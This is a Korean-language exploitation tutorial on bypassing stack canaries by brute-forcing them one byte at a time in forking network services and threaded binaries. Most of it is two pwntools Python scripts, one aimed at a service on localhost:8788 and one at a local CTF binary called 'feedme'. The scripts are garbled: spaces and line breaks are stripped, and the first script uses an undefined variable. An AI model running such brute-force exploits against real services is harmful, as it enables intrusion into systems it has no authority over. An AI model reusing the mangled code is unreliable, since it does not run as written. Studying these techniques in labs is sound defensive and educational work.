카나리와 PIE (Position Independent Executable)로 보호된 이진 파일에 직면했다면 아마도 이를 우회해야 할 방법을 찾아야 합니다.
**checksec**가 이진 파일이 보호되어 있는지 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다.
그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우 이를 수동으로 알 수 있습니다.
브루트 포스 카나리
간단한 카나리를 우회하는 가장 좋은 방법은 이진 파일이 새로운 연결을 설정할 때마다 자식 프로세스를 분기하는 프로그램인 경우입니다(네트워크 서비스), 왜냐하면 연결할 때마다 동일한 카나리가 사용됩니다.
그럼, 카나리를 우회하는 가장 좋은 방법은 문자별로 브루트 포스하는 것이며, 추측한 카나리 바이트가 올바른지 확인하려면 프로그램이 충돌했는지 또는 정상적인 흐름을 계속했는지 확인할 수 있습니다. 이 예에서는 함수가 **8바이트 카나리(x64)**를 브루트 포스하고 올바른 추측 바이트와 잘못된 바이트를 구분하는 방법을 보여줍니다. 응답이 서버로부터 전송되었는지 확인하는 것입니다(다른 상황에서는 try/except를 사용할 수도 있습니다):
예시 1
이 예시는 64비트용으로 구현되었지만 32비트용으로 쉽게 구현할 수 있습니다.
from pwn import*defconnect():r =remote("localhost", 8788)defget_bf(base):canary =""guess =0x0base += canarywhilelen(canary)<8:while guess !=0xff:r =connect()r.recvuntil("Username: ")r.send(base +chr(guess))if"SOME OUTPUT"in r.clean():print"Guessed correct byte:",format(guess, '02x')canary +=chr(guess)base +=chr(guess)guess =0x0r.close()breakelse:guess +=1r.close()print"FOUND:\\x"+'\\x'.join("{:02x}".format(ord(c)) for c in canary)return basecanary_offset =1176base ="A"* canary_offsetprint("Brute-Forcing canary")base_canary =get_bf(base)#Get yunk data + canaryCANARY =u64(base_can[len(base_canary)-8:])#Get the canary
예제 2
이는 32비트용으로 구현되었지만 쉽게 64비트로 변경할 수 있습니다.
또한 이 예제에서는 프로그램이 먼저 입력의 크기를 나타내는 바이트를 예상합니다.
from pwn import*# Here is the function to brute force the canarydefbreakCanary():known_canary =b""test_canary =0x0len_bytes_to_read =0x21for j inrange(0, 4):# Iterate up to 0xff times to brute force all posible values for bytefor test_canary inrange(0xff):print(f"\rTrying canary: {known_canary}{test_canary.to_bytes(1, 'little')}", end="")# Send the current input sizetarget.send(len_bytes_to_read.to_bytes(1, "little"))# Send this iterations canarytarget.send(b"0"*0x20+ known_canary + test_canary.to_bytes(1, "little"))# Scan in the output, determine if we have a correct valueoutput = target.recvuntil(b"exit.")ifb"YUM"in output:# If we have a correct value, record the canary value, reset the canary value, and move onprint(" - next byte is: "+hex(test_canary))known_canary = known_canary + test_canary.to_bytes(1, "little")len_bytes_to_read +=1break# Return the canaryreturn known_canary# Start the target processtarget =process('./feedme')#gdb.attach(target)# Brute force the canarycanary =breakCanary()log.info(f"The canary is: {canary}")
쓰레드
동일한 프로세스의 쓰레드는 또한 동일한 캐너리 토큰을 공유하게 됩니다. 따라서 바이너리가 공격이 발생할 때마다 새로운 쓰레드를 생성한다면 캐너리를 무차별 대입하여 찾을 수 있을 것입니다.